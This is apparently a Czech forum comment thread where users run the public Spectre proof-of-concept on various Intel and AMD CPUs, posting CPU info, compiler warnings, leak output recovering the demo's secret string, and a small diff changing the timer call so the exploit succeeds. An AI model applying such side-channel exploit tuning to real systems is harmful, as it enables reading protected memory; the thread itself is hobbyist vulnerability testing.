Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xA7=’%’ score=999 (second best: 0x8E score=999)
Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xED=’%’ score=999 (second best: 0xDD score=999)
Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF1=’%’ score=999 (second best: 0xC2 score=999)
Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xF6=’%’ score=999 (second best: 0xBA score=999)
Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xB9=’%’ score=999 (second best: 0x38 score=999)
Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xCC=’%’ score=999 (second best: 0x72 score=999)
Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xFD=’%’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xF7=’%’ score=999 (second best: 0xD5 score=999)
Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xB8=’%’ score=998 (second best: 0x86 score=998)
Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xD7=’%’ score=999 (second best: 0xD6 score=999)
Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xDC=’%’ score=999 (second best: 0x9B score=999)
Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xB2=’%’ score=999 (second best: 0xA1 score=999)
Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xEF=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xED=’%’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xA7=’%’ score=999 (second best: 0xA1 score=999)
Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xC3=’%’ score=999 (second best: 0x97 score=999)
Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xFD=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xF2=’%’ score=999 (second best: 0xB2 score=999)
Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xFC=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xE0=’%’ score=999 (second best: 0xBE score=999)
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xF9=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFC=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xD9=’%’ score=999 (second best: 0xC2 score=999)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xFF=’%’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xE7=’%’ score=999 (second best: 0xC4 score=999)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xA8=’%’ score=999 (second best: 0x82 score=999)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xF4=’%’ score=999 (second best: 0xC5 score=999)
Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xEF=’%’ score=999 (second best: 0xE5 score=999)

[Mrkva]

A jeste:

--- spectre.c	2018-01-04 21:43:38.504264913 +0100
+++ spectre2.c	2018-01-04 21:45:23.654267506 +0100
@@ -86,9 +86,9 @@
     for (i = 0; i < 256; i++) {
       mix_i = ((i * 167) + 13) & 255;
       addr = & array2[mix_i * 512];
-      time1 = __rdtsc(); /* READ TIMER */
+      time1 = __rdtscp( & junk); /* READ TIMER */
       junk = * addr; /* MEMORY ACCESS TO TIME */
-      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
+      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
       if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
         results[mix_i]++; /* cache hit - add +1 to score for this value */
     }

[Jana J.]

Jo teď už to čte. Ale proč je tam všude pořád tak vysoké skóre?

johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0x54=’T’ score=994 (second best: 0x01 score=801)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0x68=’h’ score=995 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0x65=’e’ score=992 (second best: 0x01 score=766)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0x20=’ ’ score=992 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0x4D=’M’ score=986 (second best: 0x01 score=762)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0x61=’a’ score=988 (second best: 0x01 score=776)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0x67=’g’ score=996 (second best: 0x01 score=764)
Reading at malicious_x = 0xffffffffffdfed4f... Success: 0x69=’i’ score=23 (second best: 0x6A score=9)
Reading at malicious_x = 0xffffffffffdfed50... Unclear: 0x63=’c’ score=995 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed51... Unclear: 0x20=’ ’ score=989 (second best: 0x01 score=804)
Reading at malicious_x = 0xffffffffffdfed52... Unclear: 0x57=’W’ score=991 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfed53... Unclear: 0x6F=’o’ score=983 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfed54... Unclear: 0x72=’r’ score=987 (second best: 0x01 score=757)
Reading at malicious_x = 0xffffffffffdfed55... Unclear: 0x64=’d’ score=992 (second best: 0x01 score=797)
Reading at malicious_x = 0xffffffffffdfed56... Unclear: 0x73=’s’ score=992 (second best: 0x01 score=754)
Reading at malicious_x = 0xffffffffffdfed57... Unclear: 0x20=’ ’ score=988 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfed58... Unclear: 0x61=’a’ score=986 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed59... Unclear: 0x72=’r’ score=990 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed5a... Unclear: 0x65=’e’ score=985 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed5b... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed5c... Unclear: 0x53=’S’ score=989 (second best: 0x01 score=798)
Reading at malicious_x = 0xffffffffffdfed5d... Unclear: 0x71=’q’ score=987 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdfed5e... Unclear: 0x75=’u’ score=994 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfed5f... Unclear: 0x65=’e’ score=994 (second best: 0x01 score=751)
Reading at malicious_x = 0xffffffffffdfed60... Unclear: 0x61=’a’ score=983 (second best: 0x01 score=801)
Reading at malicious_x = 0xffffffffffdfed61... Unclear: 0x6D=’m’ score=987 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed62... Unclear: 0x69=’i’ score=988 (second best: 0x01 score=810)
Reading at malicious_x = 0xffffffffffdfed63... Unclear: 0x73=’s’ score=995 (second best: 0x01 score=809)
Reading at malicious_x = 0xffffffffffdfed64... Unclear: 0x68=’h’ score=990 (second best: 0x01 score=780)
Reading at malicious_x = 0xffffffffffdfed65... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed66... Unclear: 0x4F=’O’ score=987 (second best: 0x01 score=787)
Reading at malicious_x = 0xffffffffffdfed67... Unclear: 0x73=’s’ score=989 (second best: 0x01 score=789)
Reading at malicious_x = 0xffffffffffdfed68... Unclear: 0x73=’s’ score=993 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfed69... Unclear: 0x69=’i’ score=992 (second best: 0x01 score=763)
Reading at malicious_x = 0xffffffffffdfed6a... Unclear: 0x66=’f’ score=972 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfed6b... Unclear: 0x72=’r’ score=988 (second best: 0x01 score=772)
Reading at malicious_x = 0xffffffffffdfed6c... Unclear: 0x61=’a’ score=990 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfed6d... Unclear: 0x67=’g’ score=992 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfed6e... Unclear: 0x65=’e’ score=988 (second best: 0x01 score=750)
Reading at malicious_x = 0xffffffffffdfed6f... Unclear: 0x2E=’.’ score=995 (second best: 0x01 score=781)

[Jana J.]

A ty optimalizace to opravdu rozbijou.

[Jana J.]

Jo, pardon, čím vyšší, tím vyšší pravděpodobnost že je to správně. Jako bych nic nenapsala.

[Mrkva]

Koukam ze ta paticka k tomu komentari docela sedne :)

Po aplikaci patche to uspesne ocekavane bezi na: E3-1231 v3, i7-6700K, i5-4200U. Doma muzu zkusit jeste 1800X, ale predpokladam ze to tam probehne taky.

[PavelM]

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 94
model name	: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
stepping	: 3
microcode	: 0xba
cpu MHz		: 3346.325
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 5424.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

####$ ./spectre2
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=998 (second best: 0x01 score=765)
Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=727)
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=775)
Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=777)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=998 (second best: 0x01 score=752)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=998 (second best: 0x01 score=788)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=755)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=796)
Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=998 (second best: 0x01 score=775)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=999 (second best: 0x01 score=763)
Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x57=’W’ score=988 (second best: 0x01 score=712)
Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=999 (second best: 0x01 score=795)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=782)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=997 (second best: 0x01 score=794)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=794)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=997 (second best: 0x01 score=805)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=788)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=715)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=993 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=998 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=997 (second best: 0x01 score=786)
Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=998 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=752)
Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=999 (second best: 0x01 score=778)
Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=792)
Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=713)
Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=997 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=999 (second best: 0x01 score=783)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=795)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=716)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=996 (second best: 0x01 score=769)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=774)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=996 (second best: 0x01 score=764)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=736)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=996 (second best: 0x01 score=779)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=998 (second best: 0x01 score=772)

[majales]

Intel(R) Xeon(R) CPU E3-1230 V2

uname -a Linux debian-virt 3.16.0-0.bpo.4-amd64 #1 SMP Debian 3.16.7-ckt11-1+deb8u6~bpo70+1 (2015-11-11) x86_64 GNU/Linux

lvmsyncuser@debian-virt:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 58
model name      : Intel(R) Xeon(R) CPU E3-1230 V2 @ 3.30GHz
stepping        : 9
microcode       : 0x12
cpu MHz         : 1732.371
cache size      : 8192 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms
bogomips        : 6600.20
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:
..
.

lvmsyncuser@debian-virt:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff900... Unclear: 0xDF=’▒’ score=999 (second best: 0xD0 score=999)
Reading at malicious_x = 0xffffffffffdff901... Unclear: 0xF2=’▒’ score=999 (second best: 0xEB score=999)
Reading at malicious_x = 0xffffffffffdff902... Unclear: 0xF5=’▒’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdff903... Unclear: 0xF6=’▒’ score=999 (second best: 0xF5 score=999)
Reading at malicious_x = 0xffffffffffdff904... Unclear: 0xF8=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff905... Unclear: 0xFF=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff906... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff907... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff908... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
Reading at malicious_x = 0xffffffffffdff909... Unclear: 0xFA=’▒’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdff90a... Unclear: 0xFB=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff90b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff90c... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff90d... Unclear: 0xF2=’▒’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdff90e... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff90f... Unclear: 0xFE=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff910... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff911... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff912... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
Reading at malicious_x = 0xffffffffffdff913... Unclear: 0xFF=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff914... Unclear: 0xEE=’▒’ score=999 (second best: 0xED score=999)
Reading at malicious_x = 0xffffffffffdff915... Unclear: 0xF7=’▒’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdff916... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff917... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff918... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff919... Unclear: 0xF6=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff91a... Unclear: 0xF8=’▒’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdff91b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF1 score=999)
Reading at malicious_x = 0xffffffffffdff91c... Unclear: 0xFB=’▒’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdff91d... Unclear: 0xFF=’▒’ score=999 (second best: 0xFA score=999)
Reading at malicious_x = 0xffffffffffdff91e... Unclear: 0xF8=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff91f... Unclear: 0xFC=’▒’ score=999 (second best: 0xF5 score=999)
Reading at malicious_x = 0xffffffffffdff920... Unclear: 0xF6=’▒’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdff921... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = 0xffffffffffdff922... Unclear: 0xFC=’▒’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdff923... Unclear: 0xFC=’▒’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdff924... Unclear: 0xF1=’▒’ score=999 (second best: 0xED score=999)
Reading at malicious_x = 0xffffffffffdff925... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdff926... Unclear: 0xF8=’▒’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdff927... Unclear: 0xF6=’▒’ score=999 (second best: 0xF3 score=999)

[majales]

po aplikaci patche z postu z 21:47

Intel(R) Xeon(R) CPU E3-1230 V2

lvmsyncuser@debian-virt:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff920... Success: 0x54=’T’ score=11 (second best: 0x04 score=3)
Reading at malicious_x = 0xffffffffffdff921... Success: 0x68=’h’ score=25 (second best: 0x04 score=10)
Reading at malicious_x = 0xffffffffffdff922... Unclear: 0x65=’e’ score=27 (second best: 0x00 score=14)
Reading at malicious_x = 0xffffffffffdff923... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff924... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdff925... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff926... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdff927... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff928... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdff929... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff92a... Success: 0x57=’W’ score=17 (second best: 0x04 score=6)
Reading at malicious_x = 0xffffffffffdff92b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdff92c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdff92d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdff92e... Success: 0x73=’s’ score=15
Reading at malicious_x = 0xffffffffffdff92f... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff930... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff931... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdff932... Unclear: 0x65=’e’ score=9 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdff933... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdff934... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdff935... Success: 0x71=’q’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff936... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdff937... Success: 0x65=’e’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff938... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff939... Success: 0x6D=’m’ score=15
Reading at malicious_x = 0xffffffffffdff93a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff93b... Success: 0x73=’s’ score=15
Reading at malicious_x = 0xffffffffffdff93c... Success: 0x68=’h’ score=13 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdff93d... Success: 0x20=’ ’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff93e... Success: 0x4F=’O’ score=21 (second best: 0x04 score=8)
Reading at malicious_x = 0xffffffffffdff93f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdff940... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdff941... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdff942... Success: 0x66=’f’ score=61 (second best: 0x04 score=28)
Reading at malicious_x = 0xffffffffffdff943... Success: 0x72=’r’ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdff944... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdff945... Success: 0x67=’g’ score=9 (second best: 0x04 score=2)
Reading at malicious_x = 0xffffffffffdff946... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdff947... Success: 0x2E=’.’ score=2

[sk7]

Mám tu ešte 12 rokov starý Celeron je tam Puppy linux 4.3

cat /proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 15
model		: 2
model name	: Intel(R) Celeron(R) CPU 2.40GHz
stepping	: 9
cpu MHz		: 2399.920
cache size	: 128 KB
fdiv_bug	: no
hlt_bug		: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 2
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe up pebs bts cid xtpr
bogomips	: 4799.84
clflush size	: 64

./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffe970... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe971... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe972... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe973... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe974... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe975... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe976... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe977... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe978... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe979... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97a... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97b... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97c... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97d... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97e... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe97f... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe980... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe981... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe982... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe983... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe984... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe985... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe986... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe987... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe988... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe989... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98a... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98b... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98c... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98d... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98e... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe98f... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe990... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe991... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe992... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe993... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe994... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe995... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe996... Success: 0xFF=’I’ score=0 
Reading at malicious_x = 0xffffe997... Success: 0xFF=’I’ score=0 

[HP Fan]

HPE MicroServer Gen10


cat /proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 96
model name	: AMD Opteron(tm) X3216 APU
stepping	: 1
microcode	: 0x6006118
cpu MHz		: 1200.000
cache size	: 1024 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 1
apicid		: 16
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
